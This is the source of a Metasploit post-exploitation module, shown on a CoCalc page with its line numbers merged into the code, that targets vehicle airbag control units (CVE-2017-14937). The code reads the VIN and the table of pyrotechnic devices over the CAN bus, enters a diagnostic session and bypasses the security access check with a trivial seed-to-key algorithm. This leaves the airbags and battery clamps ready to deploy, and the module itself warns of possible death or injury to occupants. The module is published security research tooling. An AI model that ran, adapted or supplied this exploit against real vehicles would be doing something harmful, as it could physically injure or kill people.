Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/post/hardware/automotive/pdt.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45require 'rex'67class MetasploitModule < Msf::Post89include Msf::Post::Hardware::Automotive::UDS10include Msf::Post::Hardware::Automotive::DTC1112def initialize(info = {})13super(14update_info(15info,16'Name' => 'Check For and Prep the Pyrotechnic Devices (Airbags, Battery Clamps, etc.)',17'Description' => %q{18Acting in the role of a Pyrotechnical Device Deployment Tool (PDT), this module19will first query all Pyrotechnic Control Units (PCUs) in the target vehicle20to discover how many pyrotechnic devices are present, then attempt to validate21the security access token using the default simplified algorithm. On success,22the vehicle will be in a state that is prepped to deploy its pyrotechnic devices23(e.g. airbags, battery clamps, etc.) via the service routine. (ISO 26021)24},25'License' => MSF_LICENSE,26'Author' => [27'Johannes Braun', # original research28'Juergen Duerrwang', # original research29'Craig Smith' # research and module author30],31'References' => [32[ 'CVE', '2017-14937' ],33[ 'URL', 'https://www.researchgate.net/publication/321183727_Security_Evaluation_of_an_Airbag-ECU_by_Reusing_Threat_Modeling_Artefacts' ]34],35'Platform' => ['hardware'],36'SessionTypes' => ['hwbridge']37)38)39register_options([40OptInt.new('SRCID', [true, 'Module ID to query', 0x7f1]),41OptInt.new('DSTID', [false, 'Expected reponse ID, defaults to SRCID + 8', 0x7f9]),42OptInt.new('PADDING', [false, 'Pad the packet with extra bytes to always be 8 bytes long', 0x00]),43OptString.new('CANBUS', [false, 'CAN Bus to perform scan on, defaults to connected bus', nil])44])45end4647LOOP_TABLE = {480x00 => 'ISOSAEReserved',490x01 => 'airbag driver side frontal 1st stage',500x02 => 'airbag left side frontal 1st stage',510x03 => 'airbag right side frontal 1st stage',520x04 => 'airbag driver side frontal 2nd stage',530x05 => 'airbag left side frontal 2nd stage',540x06 => 'airbag right side frontal 2nd stage',550x07 => 'airbag driver side frontal 3rd stage',560x08 => 'airbag left side frontal 3rd stage',570x09 => 'airbag right side frontal 3rd stage',580x0A => 'airbag passenger side frontal 1st stage',590x0B => 'airbag passenger side frontal 2nd stage',600x0C => 'airbag passenger side frontal 3rd stage',610x0D => 'airbag left side frontal 3rd stage',620x0E => 'airbag right side frontal 3rd stage',630x0F => 'airbag passenger frontal 1st stage - center',640x10 => 'airbag passenger frontal 2nd stage - center',650x11 => 'airbag passenger frontal 3rd stage - center',660x12 => '1st pretensioner driver side',670x13 => '1st pretensioner left side',680x14 => '1st pretensioner right side',690x15 => '2nd pretensioner driver side',700x16 => '2nd pretensioner left side',710x17 => '2nd pretensioner right side',720x18 => '1st pretensioner passenger side',730x19 => '2nd pretensioner passenger side',740x1A => '1st pretensioner passenger - center',750x1B => '2nd pretensioner passenger - center',760x1C => '1st pretensioner (2nd row) left',770x1D => '2nd pretensioner (2nd row) left',780x1E => '1st pretensioner (2nd row) right',790x1F => '2nd pretensioner (2nd row) right',800x20 => '1st pretensioner (2nd row) center',810x21 => '2nd pretensioner (2nd row) center',820x22 => '1st pretensioner (3rd row) left',830x23 => '2nd pretensioner (3rd row) left',840x24 => '1st pretensioner (3rd row) right',850x25 => '2nd pretensioner (3rd row) right',860x26 => '1st pretensioner (3rd row) center',870x27 => '2nd pretensioner (3rd row) center',880x28 => 'belt force limiter driver side',890x29 => 'belt force limiter left side',900x2A => 'belt force limiter right side',910x2B => 'belt force limiter passenger side',920x2C => 'belt force limiter passenger side - center',930x2D => 'belt force limiter 2nd row - left',940x2E => 'belt force limiter 2nd row - right',950x2F => 'belt force limiter 2nd row - center',960x30 => 'belt force limiter 3rd row - left',970x31 => 'belt force limiter 3rd row - right',980x32 => 'belt force limiter 3rd row - center',990x33 => 'headbag - driver side (roof mounted)',1000x34 => 'headbag - passenger side (roof mounted)',1010x35 => 'headbag - right side (roof mounted)',1020x36 => 'headbag - left side (roof mounted)',1030x37 => 'headbag - 2nd row - left (roof mounted)',1040x38 => 'headbag - 2nd row - right (roof mounted)',1050x39 => 'headbag - 3rd row - left (roof mounted)',1060x3A => 'headbag - 3rd row - right (roof mounted)',1070x3B => 'sidebag (curtain) - driver side',1080x3C => 'sidebag (curtain) - passenger side',1090x3D => 'sidebag (curtain) - left side',1100x3E => 'sidebag (curtain) - right side',1110x3F => 'sidebag (curtain) - 2nd row - left',1120x40 => 'sidebag (curtain) - 2nd row - right',1130x41 => 'sidebag (curtain) - 3rd row - left',1140x42 => 'sidebag (curtain) - 3rd row - right',1150x43 => 'sidebag - driver side (door mounted)',1160x44 => 'sidebag - passenger side (door mounted)',1170x45 => 'sidebag - left side (door mounted)',1180x46 => 'sidebag - right side (door mounted)',1190x47 => 'sidebag - 2nd row - left (door mounted)',1200x48 => 'sidebag - 2nd row - right (door mounted)',1210x49 => 'sidebag - 3rd row - left (door mounted)',1220x4A => 'sidebag - 3rd row - right (door mounted)',1230x4B => 'seatbag (cushion) - driver side (seat mounted)',1240x4C => 'seatbag (cushion) - passenger side (seat mounted)',1250x4D => 'seatbag (cushion) - left side (seat mounted)',1260x4E => 'seatbag (cushion) - right side (seat mounted)',1270x4F => 'seatbag (cushion) - 2nd row - left (seat mounted)',1280x50 => 'seatbag (cushion) - 2nd row - right (seat mounted)',1290x51 => 'seatbag (cushion) - 3rd row - left (seat mounted)',1300x52 => 'seatbag (cushion) - 3rd row - right (seat mounted)',1310x53 => 'kneebag - driver side',1320x54 => 'kneebag - passenger side',1330x55 => 'kneebag - left side',1340x56 => 'kneebag - right side',1350x57 => 'kneebag - passenger side - center',1360x58 => 'footbag - driver side',1370x59 => 'footbag - passenger side',1380x5A => 'footbag - left side',1390x5B => 'footbag - right side',1400x5C => 'footbag - passenger side - center',1410x5E => 'active headrest - driver side',1420x5F => 'active headrest - passenger side',1430x60 => 'active headrest - left side',1440x61 => 'active headrest - right side',1450x62 => 'active headrest - passenger side - center',1460x63 => 'active headrest - 2nd row - left',1470x64 => 'active headrest - 2nd row - right',1480x65 => 'active headrest - 2nd row - center',1490x66 => 'active headrest - 3rd row - left',1500x67 => 'active headrest - 3rd row - right',1510x68 => 'active headrest - 3rd row - center',1520x69 => 'battery clamp main battery',1530x6A => 'battery clamp 2nd battery',1540x6B => 'battery clamp 3rd battery',1550x6C => 'battery clamp 4th battery',1560x6D => 'roof-airbag front',1570x6E => 'roof-airbag front',1580x6F => 'bag in belt driver side',1590x70 => 'bag in belt passenger side',1600x71 => 'bag in belt left side',1610x72 => 'bag in belt right side',1620x73 => 'bag in belt passenger side - center',1630x74 => 'bag in belt 2nd row - left',1640x75 => 'bag in belt 2nd row - right',1650x76 => 'bag in belt 2nd row - center',1660x77 => 'bag in belt 3rd row - left',1670x78 => 'bag in belt 3rd row - right',1680x79 => 'bag in belt 3rd row - center',1690x7A => 'rollover bar #1',1700x7B => 'rollover bar #2',1710x7C => 'rollover bar #3',1720x7D => 'rollover bar #4',1730x7E => 'active anti-submarining driver seat',1740x7F => 'active anti-submarining passenger seat',1750x80 => 'active anti-submarining left seat',1760x81 => 'active anti-submarining right seat',1770x82 => 'active anti-submarining passenger seat - center',1780x83 => 'active anti-submarining seat 2nd row - left',1790x84 => 'active anti-submarining seat 2nd row - right',1800x85 => 'active anti-submarining seat 2nd row - center',1810x86 => 'active anti-submarining seat 3rd row - left',1820x87 => 'active anti-submarining seat 3rd row - right',1830x88 => 'active anti-submarining seat 3rd row - center',1840x89 => 'pedestrian protection front left hood lifter',1850x8A => 'pedestrian protection front right hood lifter',1860x8B => 'pedestrian protection rear left hood lifter',1870x8C => 'pedestrian protection rear right hood lifter',1880x8D => 'pedestrian protection a-pillar left',1890x8E => 'pedestrian protection a-pillar right',1900x8F => 'pedestrian protection wind screen',1910x90 => 'pedestrian protection bumper left',1920x91 => 'pedestrian protection bumper center',1930x92 => 'pedestrian protection bumper right',1940x93 => 'active steering column',1950x94 => 'front screen - emergency release',1960x95 => 'read window - emergency release'197}198199ACL_TYPES = {2000x01 => 'CAN only',2010x02 => 'ACL Comm Mode 12V',2020x03 => 'ACL PWM FixedLevel 8V',2030x04 => 'ACL Comm Mode 24V',2040x05 => 'ACL PWM UbattLevel 12V',2050x06 => 'ACL PWM UbattLevel 24V'206}207208PCU_ADDRESS_FORMAT = {2090x01 => '11 bit normal addressing',2100x02 => '11 bit extended addressing',2110x03 => '11 bit mixed addressing',2120x04 => '29 bit normal fixed addressing',2130x05 => '29 bit mixed addressing',2140x06 => '29 bit unique addressing'215}216217def print_vin(vin)218return '' if vin.nil?219220vin.map! { |d| d.hex.chr }221print_status(" VIN: #{vin.join}")222end223224def print_loop_table(loopid)225print_status("Loop info (#{loopid[2].hex} pyrotechnic devices):")226(3..loopid.size).each do |i|227if i % 2 == 1228if loopid[i] && (LOOP_TABLE.key? loopid[i].hex)229print_status(" #{loopid[i]} | #{LOOP_TABLE[loopid[i].hex]}")230else231print_status(" #{loopid[i]} | <<UNKNOWN>>")232end233elsif loopid[i] && loopid[i].hex == 0234print_status(' | Deployment Status: Good')235else236print_status(" | Deployment Status: Fail (#{loopid[i]})")237end238end239end240241def run242opt = {}243opt['PADDING'] = datastore['PADDING'] unless datastore['PADDING'].nil?244print_status('Gathering Data...')245vin = read_data_by_id(datastore['CANBUS'], datastore['SRCID'], datastore['DSTID'], [0xF1, 0x90], opt)246no_of_pcus = read_data_by_id(datastore['CANBUS'], datastore['SRCID'], datastore['DSTID'], [0xFA, 0x00], opt)247no_of_iso_version = read_data_by_id(datastore['CANBUS'], datastore['SRCID'], datastore['DSTID'], [0xFA, 0x01], opt)248address_format = read_data_by_id(datastore['CANBUS'], datastore['SRCID'], datastore['DSTID'], [0xFA, 0x02], opt)249loopid = read_data_by_id(datastore['CANBUS'], datastore['SRCID'], datastore['DSTID'], [0xFA, 0x06], opt)250acl_type_definition = loopid[0]251acl_type_version = loopid[1]252no_of_charges = loopid[2]253254print_vin(vin)255print_loop_table(loopid)256print_status(" Number of PCUs in vehicle | #{no_of_pcus[0].hex}")257print_status(' Info About First PCU')258print_status(" Address format this PCU(s) | #{PCU_ADDRESS_FORMAT[address_format[0].hex]}")259print_status(" Number of pyrotechnic charges | #{no_of_charges.hex}")260print_status(" Version of ISO26021 standard | #{no_of_iso_version[0].hex}")261print_status(" ACL type | #{ACL_TYPES[acl_type_definition.hex]}")262print_status(" ACL Type version | #{acl_type_version.hex}")263print_status264print_status('Switching to Diagnostic Session 0x04...')265resp = set_dsc(datastore['CANBUS'], datastore['SRCID'], datastore['DSTID'], 0x04, opt)266if resp.key? 'error'267print_error("Could not switch to DSC 0x04: #{resp['error']}")268return269end270# We may not need tester present at all because we will perform the action quickly271send_tester_present(datastore['CANBUS'], datastore['SRCID'], datastore['DSTID'], opt)272print_status('Getting Security Access Seed...')273seed = get_security_token(datastore['CANBUS'], datastore['SRCID'], datastore['DSTID'], 0x5F, opt)274if seed.key? 'error'275print_error("Couldn't get seed: #{seed['error']}")276return277end278print_status("Success. Seed: #{seed['SEED']}")279print_status('Attempting to unlock device...')280display_warning = false281if seed['SEED'][0].hex == 0 && seed['SEED'][1].hex == 0282print_status('Security Access Already Unlocked!!')283display_warning = true284else285key = [0xFF - seed['SEED'][0].hex, 0xFF - seed['SEED'][1].hex]286resp = send_security_token_response(datastore['CANBUS'], datastore['SRCID'], datastore['DSTID'], key, 0x60, opt)287if (resp.key? 'error') && !(resp['error'].key? 'RCRRP')288print_error("Invalid SA Response. System not vulnerable. Error: #{resp['error']}")289return290end291found_valid = false292if (resp.key? 'Packets') && !resp['Packets'].empty?293resp['Packets'].each do |i|294found_valid = true if (i.key? 'DATA') && i['DATA'].size > 1 && i['DATA'][1] == '67'295end296end297if found_valid298print_status('Success!')299display_warning = true300else301print_error("Unknown response: #{resp.inspect}")302end303end304if display_warning305print_warning('Warning! You are now able to start the deployment of airbags in this vehicle')306print_warning('*** OCCUPANTS OF THE VEHICLE FACE POTENTIAL DEATH OR INJURY ***')307end308end309310end311312313